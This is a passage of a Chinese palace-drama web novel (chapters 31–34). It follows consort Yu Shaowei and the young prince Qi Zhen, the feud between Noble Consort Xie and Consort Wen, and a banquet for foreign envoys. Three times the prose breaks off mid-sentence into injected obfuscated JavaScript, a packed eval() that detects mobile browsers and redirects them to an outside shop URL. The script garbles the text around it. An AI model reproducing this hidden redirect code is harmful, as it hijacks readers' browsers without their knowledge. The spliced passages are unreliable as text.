于少微颔首,又道:“我没经验,的确需要你的帮助,我希望你尽量多教我方法与技巧,具体实施我希望自己来,并且——”她顿了顿,声音忽然低了下来,有些忐忑道:“我希望你不要过问和掺和这些太多……” 话音落下,她小心翼翼地去瞥亓轸的神色,捏着册子的手指不自觉收紧,薄薄的纸页被攥出几道深深的褶皱。 亓轸神色并没有什么变化,他只是轻轻的将嫁妆单子从于少微手中抽出,用力抚平后又放回她的手中,倾身看着她的眼睛认真道:“我都听您的。” 于少微顿时松了口气,这种事情还是要在最开始的时候说清楚。 她何尝不知自己这番话有些厚脸皮,可她不敢,也不愿将自己即将握在手中的利刃,全然袒露在旁人面前,即使那人是她在这个世界最熟悉的亓轸也不行。但也因为那个人是亓轸,她才敢在最开始就把心底的想法说出来。 眼前的少年尚带着未脱的青涩棱角,眉宇间本该有的是少年人的桀骜,可看向她时,眼神却柔顺得不像话。那双泛着绿意的眸子像是草原上最鲜嫩的牧草,仿佛只要她一句话,他便会心甘情愿地俯首,将自己的满腔热忱尽数捧来供养。 一种从未有过的异样情绪悄然漫过心尖,她隐隐觉得,或许少年是真的将一颗真心捧到了她的面前,或许她此刻感受到的所有暖意与妥帖都是真实的,可……人心易变,世事无常,谁又能保证眼前的一切会恒久不变?更何况……她又该如何回馈这份沉甸甸的真心? 不安与惶恐如同细密的蛛网,瞬间将她紧紧缠绕,连带着心底都生出一股本能的抗拒,她实在想不通,自己究竟有什么值得他如此相待的地方。扪心自问,她做不到像他这般毫无保留,她的善意也并不纯粹,可他呢?他的靠近,他的偏袒,他的倾力相助……难道仅仅是因为,因为她带来的一点点温暖吗? 他太年轻了,所见的天地不过是深宫一隅,所遇的人事也太过单薄,所以才会轻易被一点暖意打动,然后将自己的真心交付出去。 于少微想起自己的从前,她也曾毫无保留地捧出过真心,不止一次……只是最后都下场惨烈。那么她现在的所作所为又算什么?是在用她的年龄和阅历,以关爱之名行诱拐之举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962787|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗? 于少微悲哀的想,她是不配的,配不上少年赤忱的真心,她是有罪的。 “母妃在想些什么?”亓轸的声音遥远的似从另一个世界传来,少年不知何时已握住了她垂在小几上的手,看像她的目光含着担忧。 于少微回过神来,目光落在两人交叠的手上,或许是因为愧疚,或许是因为刚刚那番自我剖析耗费了她全部力气,她默默移开眼,将目光落回少年的脸上,轻轻摇了摇头。 * 番夷宴的日子日渐临近,随着大批番邦使节入驻京城驿馆,各路随行商队亦接踵而至,大街上热闹非凡,叫卖声、马蹄声、异域口音的交谈声交织一处,整座京城都弥漫着喧嚣热闹的气息。 与此同时,宫中也发生好几件大事。 先是谢贵妃的兄长在番使驻驿的驿馆周边布置了大量兵力,淑妃的父亲联合礼部与一众言官联名上奏,直言此举太过张扬,恐让番使误以为我朝欲以兵威压人,有失‘怀柔远人’之道,奏折中恳请陛下依古制削减兵丁,改由礼部官员率礼生按仪典迎送,庆帝阅后沉吟良久,最终准了奏折,下令撤去半数兵力,将迎送番使的诸多环节尽数交由礼部接手。 经此一事,谢贵妃作为谢家的女儿与番夷宴的负责人,面上十分无光,然未过几日,淑妃的心腹又探知谢贵妃暗中截留了番邦进贡的一批珍稀药材,偷偷送往了谢家府邸。淑妃闻讯,逮准时机授意贴身太监趁内务府登记贡品的间隙,悄无声息地篡改了名册,待到谢贵妃派人去内务府提取药材时,管事的宫人核对名册,竟发现贡品清单与登记记录对不上号,当即以“登记不符”为由,断然拒绝放行。 双方各执一词,争执不下,闹得沸沸扬扬,最终传到了庆帝耳中。庆帝只略一思忖便知是登记出了纰漏,却也觉得贵妃贪图贡品,有失体面,虽未责罚,贵妃到底在庆帝面前丢尽了颜面,还在后宫中落了个“贪心”的名声。 谢贵妃落势,文淑妃自是春风得意,不想没过多久,她负责的赏给番使的绸缎却出了问题,这批绸缎被送抵内务府查验时,竟然被发现上面绣了团龙纹! 团龙纹乃皇室宗亲专属的纹饰,外臣与命妇皆不可僭越,更何况是用来赏赐番使的物件?此事若是传扬出去,非但会沦为列国笑柄,更会被番邦视作大夏对其的羞辱,届时邦交生变,后果不堪设想。 庆帝得知此事后震怒,当即下令封锁消息彻查到底,结果淑妃偷换货供的事情也被揪出来了。 消息传来时,淑妃正在宫里试宴会上要穿的礼服,锦绣华服加身,她望着铜镜中容光焕发的自己,嘴角的笑意还未散去,贴身宫女便慌慌张张地跑了进来,脸色惨白如纸,语无伦次地将绸缎之事禀明。 “哐当——” 文淑妃手中的羊脂白玉佩应声落地,她猛地起身,方才还盈满笑意的脸,此刻已是血色尽褪,厉声道:“备轿!” 可脚步刚迈出宫门,就见庆帝身边的孙公公过来传旨,圣旨宣读下来,字字锥心,文家被罚缴银万两充公,文淑妃闭门思过三日,至于番夷宴伴手礼的采买权,则尽数交由谢贵妃宫中接管。 贵妃,贵妃! 文淑妃瞬间明白事情原委,此番不仅文家折损了万两白银,她自己在庆帝心中的地位更是一落千丈,就连在文氏一族中的颜面也被丢得干干净净,而谢贵妃与谢家,却借着此事,不仅截了她的采买权,更狠狠折辱了她一番! 文淑妃缓缓抬眼,望向远处那座巍峨的景阳宫,眼底闪过一丝狠厉 谢凝华…这笔账,她记下了。 32. 第三十二章 番夷宴当天,大殿外已是融融春景。 廊下的玉兰树冒出星星点点的花苞,栏杆旁的迎春花抽出细弱的枝条,上面缀着零星的嫩黄小花,殿门两侧站着身披轻甲的禁军,甲胄在黄昏里泛着柔和的光。 殿内暖意融融,铜灯似延展的树枝般攀附在梁上,灯芯燃得正旺,光晕透过镂空的灯罩洒在地面,映出繁复的祥云图案。番使们大多身着兽皮长袍,腰间系着镶嵌宝石的腰带,与大夏官员的锦袍形成鲜明对比。 于少微早早来了,除了偶尔与找上前的宾客寒暄,其余时间只安静坐在自己的位置上,饶有兴趣地打量着殿内的装饰与外族的宾客。 亓轸和于少微是一起来的,两人刚一踏进大殿,立马就有宫人上前引导,于少微顺势偏头斜了他一眼,朝皇子的座位抬了抬下巴,自己提着裙子跟着宫人哒哒哒地走了。 她今日穿了身杏子黄的软罗裙衫,腰见系了条蝶恋花纹样的宽带,显得身形尤为纤长,鬓边的蝴蝶步摇随着动作轻轻摇晃,亓轸看着她步履轻快的背影,微不可查地叹了口气,抬脚向自己的位置走去。 亓辙昨日下学时吃到了于少微带来的菊糕,今天看见亓轸很是兴奋,立马凑上来拉着他结结巴巴的讲着自己和妹妹的喜爱。三公主亓珈与亓轸并不熟悉,小姑娘坐在哥哥旁边探出半个脑袋,直勾勾地盯着旁边那位面上无甚表情的五哥,亓辙每说一句喜欢,她就眨巴一下眼睛,兄妹俩一个说一个看,亓轸终于有些招架不住,嘴角勉强扯出一个僵硬的笑。 亓辙亓珈兄妹俩磨了半天,总算得到亓轸下次再给他们带好吃的许诺,小姑娘甜甜地说了声谢谢,又拉着哥哥去看番使女眷颜色鲜亮的装束与五彩斑斓的宝石。 耳边总算得到清静,亓轸有些心累地往亓轩处挪了挪,他是怕了这兄妹俩,以至于觉得靠亓轩近一些也没什么。 坐定之后,他下意识抬眼去找于少微的身影,目光在殿内缓缓转了一圈,最后直直撞进一双含笑的眸子里。 是于少微,她正支着腮帮子看他,嘴角噙着抹促狭的笑,也不知方才看了多久的热闹。 少年难得有些发窘,连忙低头端起茶盏,借着喝茶掩饰自己的不自在,可指尖刚触到茶盏,他又忍不住悄悄抬眼,却见于少微似早有预料,眼睛眨都没眨,嘴角的笑意更浓了。她甚至还偏过头与身旁的李婕妤低语了几句,只不过后者身体后仰一脸膈应,于少微也毫不客气地翻了个白眼。 亓轸下意识想笑,结果被口中的茶水呛到猛地咳嗽起来,正蹭在太子旁边的亓轩闻声回头,毫不客气地嘲笑道:“喝口茶都能呛到,真是丢人!” 亓轸咳得脸都红了,闻言抬眼,面无表情地斜了他一眼,声音凉凉的:“论丢人,我可不及某些硬要往别人身边凑的人,眼看就要开宴了,五哥还不回自己的位置?没瞧见那边淑妃娘娘的脸色吗?” 亓轩下意识反驳:“我母妃又不是因为我!” “哦?”亓轸挑眉,摆出一副愿闻其详的表情。 “我——,你!”亓轩被堵得哑口无言,脸色青一阵白一阵。 宫中谁人不知淑妃近日触了庆帝的霉头,丢了好大的人,正是心烦的时候,亓轩被亓轸一句话带进了话篓子,说又说不得,发作又顾忌着满殿宾客,只能憋得胸口发闷,简直憋屈得要命。 太子无奈地叹了口气,冲亓轸温和地笑笑,出来打圆场:“父皇应该快来了,轩儿你先回去吧,晚点我让人将你要的东西送到你屋里。” 亓轩听了太子的话,脸色缓和了些,不情不愿地起身往自己的席位走去,路过亓轸身边时,还不忘狠狠撞了下他的肩膀。 亓轸早有防备,待他撞来的瞬间,肩膀微微用力一迎,亓轩本就没站稳,被这一撞,猝不及防地打了个趔趄,险些仰倒在地,待他稳住身形,却见亓轸早已挪到了亓辙身边,正偏着头,似模似样地与其说着话,眉眼间一派坦然。 亓轩气得要死,却又无可奈何,想起淑妃交代他的话,只得老老实实地坐在自己位置上,使劲瞅案上的碗碟,把其当作亓轸,势必要将其看出一个洞来。 门口处突然传来内侍拉长嗓子的通报声,殿内众人闻声看去,于少微紧接着理理裙子利落站起,是陈皇后来了。 皇后在宫人的簇拥下步入大殿,于少微站在近处,遥遥对上了她的视线,皇后嘴角勾起一个微不可见的弧度,那是一抹温和的笑,于少微双眼瞬间弯成月牙,展露出一个灿烂的笑脸。 她才知道,陈皇后与于少微的母亲竟是旧相识!自她拿到母亲的嫁妆之后,这段时间陆续联系了好些人,没想到竟从一个自小跟着母亲长大的嬷嬷口中得知了这段旧情。 过去的种种疑惑至此终于尽数解开,原来,陈皇后对她的关爱与照顾都源于此。 得知消息那日,于少微恍然大悟之余,心里也猛得一轻,她害怕无缘无故的好意,陈皇后对她的照拂总让她有些惶恐,如今有了缘由,她此后或许能更轻松的去面对陈皇后。 陈皇后在凤位坐定,立马就有番使携女眷上前见礼,高座之下是谢贵妃与文淑妃,两人的位置是挨着的,也一同起身上前。 谢贵妃今日身着石榴红宫装,头戴赤金镶红宝石步摇,步摇上的珍珠随着她的动作轻轻摇曳,面对从皇后处转来的使臣们,满是春风得意之态。 文淑妃则是一袭青金石色宫装,发间点翠海棠步摇与谢贵妃的红宝步摇款式相似,一冷一艳,两相映照,竟生出几分相得益彰的韵致。她面上早已敛去郁色,对着上前见礼的使臣,举止优雅得体,便是与谢贵妃并肩而立,也是笑意温和,眉眼间不见半分嫌隙。 “二位娘娘今日是约好了吗?远远瞧着竟像是一对双生姐妹呢。”一位番邦夫人操着一口略显生疏的汉话笑道,目光在两人的步摇上打了个转。 贵妃唇边的笑意微不可察地一凝,她这才注意到,文淑妃竟然戴了这支簪子,当初她不是当她的面摔了吗?现在又是何用意? 还不待她想明白,手腕便被一片温热攥住,她猛地一愣,下意识便要挣开,却不料文淑妃的力道看着轻柔,实则强硬的很,有宾客在场,她不敢做大动作,只能硬生生忍住,任由对方攥着,如此一来,在外人眼中,倒像是二人亲昵无间。 “夫人说笑了,不过是巧合罢了。”文淑妃笑得温婉,目光却扫过殿中众人,尤其是凤座之上的皇后。见皇后正朝这边看来,她声音又抬高了几分,“贵妃姐姐本就有天人之姿,我这步摇不过是东施效颦。说起来,各位远途而来,宴前的伴手礼都是姐姐亲自挑选的,不知合不合贵使心意?” 这位番使夫人表情突然变得有些兴味,她不着痕迹地打量了一下两人,对着贵妃笑道:“自然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970562|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满意的。大夏的诚意,我们都看在眼里。” 谢贵妃正要开口回话,文淑妃却抢先一步,语气愈发亲和:“何止是伴手礼呢,各位进京时的沿途安保,驿站里备下的驼奶与毡毯,可都是姐姐的兄长谢将军一手安排的,谢将军不愧是驻守过边境的老将,竟这般熟悉贵国的风土人情。” “熟悉”二字出口,殿中原本轻快的乐声仿佛都顿了顿,谢贵妃心头一紧,猛地便要抽回手腕,却被文淑妃攥得更紧。只听那番邦夫人依旧笑盈盈道:“谢将军果然细心,驿站里的毡毯,竟与我们部族常用的样式分毫不差呢。” 谢贵妃余光瞥见陈皇后眉头微蹙,远处几位老臣也交换着异样的眼神,心里不安犹甚。她刚想开口解释兄长只是按规制安排,却见淑妃又笑着转向那位夫人:“夫人若是喜欢,改日我让姐姐送些大夏的绣品,想来定合夫人心意。” 番邦夫人笑着颔首应下,恰逢有旁人来寻,便与二人客套几句,转身离去了。 “你什么意思!”贵妃猛地甩开文淑妃的手,压低声音逼问道。 “姐姐怎么用一副要吃人的模样看我?我不过讲了几句话,为姐姐你在来使面前立功呢。”文淑妃掩嘴娇笑:“姐姐出了这么大的力气,怎么能无名呢?” 谢贵妃冷哼一声,“为陛下分忧何来有名无名之说?陛下让你在宫中反省,你就反省出这些?” 文淑妃脸上的笑意瞬间僵住,眼底飞快掠过一丝戾气,她咬了咬牙,她紧咬着下唇,好半晌才压下那股怒意,重新扬起一抹柔顺的笑,垂首道:“姐姐教训的是。” 谢贵妃皱眉,文淑妃今日实在太过反常,她思索几秒,直接问出心中所想:“你方才在番使面前说那番话,究竟是何用意?” 文淑妃闻言,茫然地眨了眨眼,“姐姐这话妹妹怎就听不明白呢?我不过是实话实说,哪句惹了人遐想?还望姐姐为我解惑。” “你!”谢贵妃吃了个哑巴亏,气得肩膀微微颤抖,忽然,她狐疑地扫了淑妃一圈,冷冷道:“你今日怎么戴这支簪子?当初不是都摔了吗?” 文淑妃饶有兴致:“姐姐一下子问了两个问题,倒是让妹妹犯了难,你想让我先答哪一个?” 谢贵妃双唇紧抿,脸色铁青,一言不发。 “罢了,我便怜姐姐心切,一一告知吧。”文淑妃故作无奈地叹了口气,语气轻描淡写,“今日戴它,不过是觉着它最衬我这身衣裳罢了。” 她顿了顿,忽然往前一步,凑近谢贵妃耳畔,用只有两人能听见的声音低语:“至于第二个问题——” 温热的气息拂过耳畔,带着一丝若有若无的冷香,“毕竟是御赐之物,摔碎了,再让人修好便是,多大点事。” 说完,她悠然退开一步,好整以暇地欣赏着谢贵妃骤然铁青的脸色,唇角的笑意愈发得意:“如何?这答案可合你的心意?” “好了,回来坐下吧,陛下怕是要来了呢。”文淑妃敛了敛神色,抬眼望向殿门方向。 抬头又见人依旧杵在原地不动,还好心地提醒:“娘娘快回来吧,没瞧见旁边有人往咱们这瞧了吗?” 谢贵妃死死盯着她,良久,她突然抬手拔下鬓边那支红宝步摇,死死攥在掌心,咬着牙走到淑妃旁边坐下,接下来直至宴会结束,两人各自含笑与左右宾客寒暄,却没再与对方说过一句话。 33. 第三十三章 梁上铜灯已燃至尾声,摇曳的烛火映在大殿的金砖上,似凭空浮现一片流彩。夜宴已然接近尾声,庆帝已经离席,宾客也已离开大半,剩下的人们互相喝酒聊天,馥郁的酒香与各色香料的味道缠成一团,裹着满殿的喧嚣。 亓轸斜倚在座位上,冷白的颈侧沾着几滴未干的酒液,面色有些泛红,原本冷峻的眉眼此刻被醉意晕得柔和,吸引了周遭几多目光。 他的目光却黏在不远处的于少微身上,看她端着酒盏,正与德妃温和寒暄,三公主亓珈半个人窝在于少微的怀里,正抱着她仰头憨憨的撒娇。 亓轸指尖无意识攥紧位置上铺垫的锦缎,指节泛白,喉结滚动两下,忽然低低地咳嗽起来。 “喂!你还喝不喝?”四皇子亓轩听到声音提着酒壶看了过来。 “不会吧,你不会这么没用吧?才喝那么一点点就这样了?”亓轩扫了两眼亓轸面上明显的红晕,嗤笑道。 亓轸白了他一眼,干脆道:“不喝了。” 他真是猪油蒙了心才答应和亓轩喝酒,宫里有规定,皇子公主未满十五不可饮酒,他本身也不喜酒味,所以几乎没沾过,只是方才亓轩提着酒壶来问他的时候,他忽然看见于少微正举着酒盏,笑眼盈盈的与人对酌,馥郁的酒香悄悄飘到他鼻尖…… 阻止的动作慢了一拍,亓轩已经将他的酒盏斟满 “来,喝!”亓轩的声音在他耳边响起。 他看见于少微正将酒盏送至唇瓣,神差鬼使,他端起了那杯酒。 “看不出来嘛,再来!”亓轩看见亓轸仰头将杯中酒水一饮而尽,又立马给他斟满。 “说,你母妃是不是不管你喝酒?”亓轩看见亓轸又饮一杯,动作干脆利落,心里有些纳闷 “我都快满十六了,平日我母妃和大哥总拦着我喝酒,一碰就唠叨。”亓轩咕哝着,似是在抱怨,眼里的炫耀却是藏也藏不住。 “我母妃也不让。”亓轸看见于少微端着酒盏去找皇后了,闷头夺过亓轩手上的酒壶给自己斟满。 她一次都没往他这里瞧。 “诶诶诶,你抢我的干嘛?你自己桌上不是有吗?”亓轩嚷嚷着伸手欲夺。 亓轸嫌他吵闹,“咚”的一声将酒壶放回他的桌上,又去抓自己那壶还没动过的。 亓轩斜了他一眼,眼珠子一转,煞有介事道:“呦,你心情不好啊?” 亓轸面无表情地看他。 亓轩“咦”了一声,凑近道:“难得见你不是一副死人样,有什么烦恼?说出来让我开心一下呗。”他用手肘捅了下亓轸。 亓轸毫不客气地捅回去。 “唉,我心情也不好,郁闷死了!”亓轩也不生气,只顺势将手背到脑后,整个人向后仰。 亓轸默不作声的睨了他一眼,又为自己斟了杯酒。 “也是,算了,来来来今晚我们一醉解千愁!”亓轩猛地坐直,举起酒盏和亓轸碰杯。 亓轸饮了半盏,忽然有些嫌弃道:“你别靠我那么近。” “你敢嫌弃我?”亓轩抬手捶了他肩膀一拳,神情有些恼怒。 亓轸似笑非笑地斜了他一眼,将剩下半盏饮尽。 “算了,今天懒得和你计较。”亓轩低头端详酒壶上繁复的花纹,自说自话。 不远处,二皇子亓轲正端着酒盏与太子讲话,两人被这边的喧闹声吸引,太子笑着收回目光,举起手中的茶盏遥遥一祝 “真好。”他说 亓轲低头看向手中剩下的半盏酒,手腕微抬,似是在与阴影处自己的影子碰杯,然后仰头一饮而尽。 * 于少微从皇后处回来,顺势往皇子的席位瞟了一眼,看见亓轸正与亓轩一起喝酒,心里纳罕,他们什么时候是能一起喝酒的关系了? 不过她很快就想明白了,喝酒而已,她刚刚还和李婕妤喝了一杯呢,不过是一杯酒罢了。 不过是一杯酒罢了,亓轸想。 是酒比他重要吗?为什么她整晚都不曾施与他一个眼神,为什么和别人言笑晏晏,却不与他分饮? 少年有些摇晃的起身,旁边的亓轩被他吓了一跳,骂道:“你干嘛?” 亓轸没理他,自己端着酒盏朝对面走去。 亓轩若有所思,他是不是也该去找母妃喝一个?忽然冒出的想法很快就被自己否定,真去了,届时定要被唠叨,算了,还是去找大哥吧!嘶——大哥好像也会说教他…… 管他的呢!已然微醺的四皇子甩了甩头,提着酒壶就去找人。 “母妃。”亓轸已经走到于少微面前,声音带着酒后微微的沙哑,引来旁边几个人的侧目。 于少微握着酒盏的手一顿,看见来人笑道:“轸儿怎么来了?” 亓轸下意识皱眉,他不喜欢这称呼,太刻意,也不喜欢这个笑容,太疏离。 “头好晕。”他眉头紧皱,喃喃道。 于少微果然变了脸色,“是不是酒喝多了?” 她撑着桌子想起身扶他,手刚要伸出,突然意识到周围有那么多人在,她又悄悄将手放下,亓轸大了,他们又不是亲母子,需要避嫌。 “母妃?”亓轸两手撑在她的食案上,歪头看她。原先手中的酒盏早已滚落一旁,洒出的酒液沿着桌沿,一滴一滴落在深色的地毯上。 少年身形高大,于少微整个人被罩在他的阴影下,莫名觉得有些压迫,她有些尴尬地对着周围投来目光的宾客解释道:“五殿下年纪轻不胜酒力,再加上我平时管得严不许他碰酒,今晚一个没看住就多喝了一点。” 德妃也牵着亓珈过来搭话:“孩子大了,少微妹妹不要管那么严,适当喝点也无碍。” 于少微感激地点点头:“德妃娘娘教训得是。” 亓珈扭着身子绕过亓轸扑到于少微怀里,一本正经学舌道:“于娘娘不要管五哥哥太严。” 于少微立马抱过亓珈埋头狠狠吸了一口,顺手又捏了捏她白嫩的小脸蛋,笑道:“小珈说得也对!” 亓轸默默看着面前亲密互动的两人,撑在桌上的手指微微曲起。 “母妃。”他又唤了一句。 少年声音低低的,醉意让他的眼底蒙上一层水雾,睫毛湿漉漉地垂着,微微颤动。 “五哥哥的眼睛好漂亮啊!像番使夫人头上的猫眼石!”亓珈睁着一双大眼睛,仰着脸眨也不眨地盯着亓轸,眼中满是惊艳。 于少微侧头对着亓珈轻轻道:“小珈先起来一下下,于娘娘要去看你五哥哥啦。” 亓珈乖乖起身,临走时突然噘着小嘴在于少微侧脸亲了一下,甜甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975321|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“于娘娘再见!” 于少微摸摸自己的脸,眼睛弯成月牙:“于娘娘改日带着糕点来看小珈。” “好,那我——” “母妃我头晕。”亓轸打断了亓珈没说完的话。 小姑娘吐了吐舌头,朝于少微挥了挥手,拉着德妃哒哒哒地去找亓辙。 亓轸弯下了手臂,身子俯地更低,呼吸间的酒气混着少年人独有的清冽气息拂过于少微的脸颊,“我头好晕,腿也软,母妃扶我回宫好不好?” 于少微脸色微变,下意识看向周围,宾客已经渐渐散去,没人注意这边,她下意识舒了口气,但看见亓轸执拗的眼神,头又开始痛起来了。 她下次,一定!一定要盯着不让他喝酒!!! “我帮你叫人来。”于少微边说着,边冲站在角落里的禄子招手。 亓轸看着于少微的动作,死死咬住下唇。 “!”于少微突然感觉手腕一热,是亓轸攥住了她的手腕。 少年的手心滚烫,力道大得惊人,指腹死死贴着她腕间的肌肤,像是怕她跑了似的,于少微甚至能感受到他掌心的薄汗。 “母妃。”他微微垂眸,睫毛上沾着的细碎水光几乎就要滴落,语气带着近乎哀求的依赖:“您来扶我好吗?就这一次。” 腕间的热度烫得于少微心尖发紧,她仿佛感受到周遭有目光在向她汇聚,那些流言蜚语仿佛已经在耳边响起——她深吸一口气,咬紧牙关,猛地将手抽回。 亓轸踉跄了一下,眼底的水光瞬间凝住,像是被戳破的泡泡,只剩下浓浓的错愕。 “禄子快来扶五殿下。”她的声音冷了几分,起身绕过亓轸,刻意与他拉开距离。 斜眼瞟见禄子已经将人扶稳,她微微颔首:“走吧。” 说完,她甚至没有再看亓轸一眼,转身向大殿外走去。 亓轸僵在原地,右手还保持着攥着什么的姿势,指尖空荡荡的,醉意瞬间醒了大半。少年眼底的依赖此刻褪的一干二净,翻涌而上的是浓烈的委屈与不甘,他望着于少微远去的背影,一把挣脱禄子的搀扶,指节攥得发白,指腹也因用力而泛出青白,肩膀微微紧绷着,周身气压低得吓人。 禄子一时不敢靠近,只得在旁低低提醒道:“婕妤要走远了。” 元轸如梦初醒,大步跟了上去。 * 于少微已经走出殿外,扑面而来的寒风让她不自觉裹紧了身上的外袍,她犹豫了几下,还是停下脚步,站在玉兰树下等亓轸出来。 很快,殿内有声音传来,亓轸的身影很快出现在门口,殿内暖黄的光线尽数洒在他的身上,为他镀了一层淡淡的金边。 于少微站在暗处,抬头直直撞见少年眼底的执拗与受伤,猫眼石一样的眼神太亮,带着未散的醉意和被刺痛的委屈,于少微心头一紧,慌忙移开了视线。 春寒料峭,盛放的玉兰花硕大而优雅,洁白如玉的花瓣在月光下透着细腻的微光,亓轸望着驻立在玉兰树下的纤细身影,微风拂过,有一片花瓣落在了她的肩头。 “母妃……”他轻轻唤道。 玉兰树下的黄杉女子面容有些烦躁,她眉头紧蹙,表情几经变化,最终轻柔地叹了口气,朝着光影里的少年伸出了手,无奈道:“过来吧,亓轸。” 34. 第三十四章 番夷宴办得十分成功,庆帝在朝中与使臣的商谈也十分顺利,达成了多项利好的协议。后宫此次出力不少,办事的人都或多或少得到嘉奖,其中又以谢贵妃尤甚。 庆帝升了她的位份,她现在已是位于四妃之上的皇贵妃,地位仅次于皇后。虽然在这之前宫中除了皇后也再没别的比她位份高的嫔妃,但到底意义不同,更重要的是原先与她在品级上平起平坐的淑妃如今见她也需要行礼了。 文淑妃虽然在宴前筹备阶段遭了斥责,但到底出力不少,庆帝为示奖赏,一连去了她宫里三回,赐下不少物什,都是此次番使呈送的珍品。 不过这些都和于少微无关,番夷宴的筹备她明面上并没有直接参与,论功行赏,她自然是颗粒无收,但好在陈皇后感念她在这段时间分担了贵妃与淑妃她们负责的宫务,私下赏了她不少好东西。 在未央宫用完午膳,于少微带着赏赐回到晴雨阁,指挥宫人将这些物什妥善入库,青阳拿着封信上前,道:“婕妤,是于家来的信。” 于少微回到内室拆开,上头只有短短几行内容,大致意思是于惟与谢五郎的婚事已经定下,婚期就在下月,特邀她前去观礼。 于少微撇嘴,先不说她出宫方不方便,就算能去她也不想去,不过于家那帮人也算是听得懂人话,该告知的东西一个都没落下,虽然于家的来信多是以于夫人的名义,背后是谁的授意大家都心里有数,于父既然用行动表明了自己的态度,于少微倒也不好再摆脸色,届时送份礼就……算了还是找机会去向庆帝提此事,既是他指派她去盯梢于家,用公费送礼也是很正常的事。 事定,于少微措好词,提笔正要回信,槐序掀开珠帘进来通报,说是李嫔来了。 “李嫔?宫中何时有的李嫔?陛下新纳的?”于少微搁下笔,满脸疑惑。 槐序神色也有些蔫蔫的,她轻声解释道:“是李婕妤,她刚升了位分,圣旨晌午才到的秋水居。” 于少微惊讶:“因为番夷宴?” 槐序点点头。 于少微迷惑了,她怎么没听说李婕妤在这之中出了力气? 槐序同样不解,她小声催促道:“婕妤先出去吧,人已经到了。” “不着急。”于少微眼睛滴溜溜转了一圈,起身去妆台补了补唇脂,又再轻轻扑了层香粉,才施施然走出内室。李嫔坐在罗汉床上已经吃了半盏茶,面上满是不耐之色,要不是晴雨阁的点心还算可口,她怕是早已暴起冲进内室抓人了。 “你来干什么?”于少微见到人,眉毛一扬,语气毫不客气。 李嫔一见她这副模样,本就等得恼火的脾气噌的一下就上来了,立马扔掉手上刚咬了两口的菊糕,梗着脖子就要回怼。突然,她似乎想到什么,整个人又坐了回去,十分刻意地清了清嗓子,抬起下巴高傲道:“于婕妤,见到我还不行礼?” 于少微没搭理她这句话,直接一屁股在其旁边坐下,无辜道:“李婕妤在说什么?” “你不知道?”李嫔一脸不可置信。 “我知道什么?”于少微虚虚敷衍。 “宫中都传遍了你竟然还不知道?”李嫔狐疑地上下打量于少微的神色。 “我一整个上午都在未央宫,方才才回来。”于少微面无表情。 “那也不该啊?我宫里的人没传播到位吗?竟然没让你知晓?”李嫔小声嘀咕。 “我究竟该知道什么?”于少微也有点不耐烦了。 李嫔无语了,啪的一声将自己的腰牌拍在小几上,于少微偏头看了一眼那与自己相似的木符,只见其正面端端正正的刻了一个“嫔”字。 “怎么样?”李嫔得意地看着于少微。 “升位分了啊,真是恭喜啊。”于少微只瞟了一眼就收回目光,漫不经心地夸道。 “你怎么能这么敷衍!”李嫔看见于少微面色如常,气得脸都红了。 “怎么?你还想我怎样?现场给你唱首歌祝你荣升吗?还是让人上壶酒来与你不醉不休?”于少微毫不客气地瞥了她一眼,“你觉得以我们的关系合适吗?” “我又不是来找你庆祝的!我是来炫耀!炫耀懂吗?我要看你羡慕嫉妒我!”李嫔有些声嘶力竭。 于少微慢条斯理地端起茶盏,凉凉道:“啊,我好羡慕,好嫉妒。” 李嫔要被她这副作态给气无语了,她一把夺过于少微手中的茶杯,凑近逼问:“你什么意思!” “你的意思啊。”于少微表情无辜,茶没了就给自己拿块糕。 李嫔气得牙痒痒,却又无可奈何,于少微也不看她,只慢条斯理地吃着手里的糕点,李嫔见她这副模样,自己也拿起刚刚没吃完的点心狠狠咬了一大口,然后毫不意外地被噎住,拍着胸脯眼角都溢出泪来,于少微好心给她添了茶,她猛猛给自己灌了一杯,慢慢抚着胸口疑惑道:“你不好奇吗?” 于少微懒懒地抬了抬眼皮,依旧是副心不在焉的模样:“好奇什么?” “我的位份啊!” “哦,好奇,你说。”于少微十分正经地点点头。 李嫔算是彻底没脾气了,好在人逢喜事精神爽,她决定大人不记小人过,饶了于少微这一回,满脸优越道:“人的命啊,早在天上就注定好了,有些人天生就是享福的命,什么都不用做就有人将东西奉上,有些人嘛,忙忙碌碌半天,到头来——” 李嫔瞥了于少微一眼,见她仍然表情平平,突然觉得很没意思,她是专门来炫耀的,存了打脸的心思,结果于少微这样一幅死人样,搞得她什么心情都没有了。 “怎么不说了?”于少微见人停了下来,好心提醒道。 